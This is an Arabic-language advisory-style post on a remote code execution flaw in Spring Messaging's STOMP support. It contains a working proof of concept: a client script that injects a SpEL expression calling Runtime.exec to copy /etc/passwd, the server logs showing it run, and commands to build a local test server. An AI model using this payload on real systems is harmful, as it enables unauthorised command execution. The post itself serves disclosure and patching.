
RCE عبر بروتوكول STOMP في رسائل Spring
أمس نشرت Spring ثغرة RCE واحدة، تعرف عليها:
الإصدارات المتأثرة
لا تتطلب هذه الثغرة بيئة محددة، إذا كنت تستخدم spring-messaging + websocket + STOMP، فيرجى الترقية إلى أحدث إصدار في أقرب وقت؛ إذا كنت تستخدم SpringBoot، فقم بالترقية إلى 2.0.1.RELEASE.
ببساطة، نظرًا لأن صلاحيات StandardEvaluationContext كبيرة جدًا ويمكنها تنفيذ أي تعبير SpEL، فقد أضافت الجهة الرسمية بعد Spring 5.0.5 ميزة SimpleEvaluationContext لتنفيذ ربط بيانات بسيط، مع الحفاظ على المرونة دون إدخال مخاطر أمنية.
يوفر spring-messaging دعمًا لبروتوكول STOMP، مما يسمح للعملاء بالاشتراك في الرسائل واستخدام selector لتصفية الرسائل، على سبيل المثال:
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
عند الاشتراك، يقوم spring بتخزين هذا المُرَشِّح، ويتم تفعيله عندما يتلقى العميل رسالة، على سبيل المثال:
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]
...
2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean
لقطة شاشة Poc

سيتم إصدار مقال تحليل الثغرة لاحقًا
قم بتجميع وبدء تشغيل خادم Spring Boot،
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar
قم بالزيارة - أدخل التعبير للاختبار،
http://localhost:8080
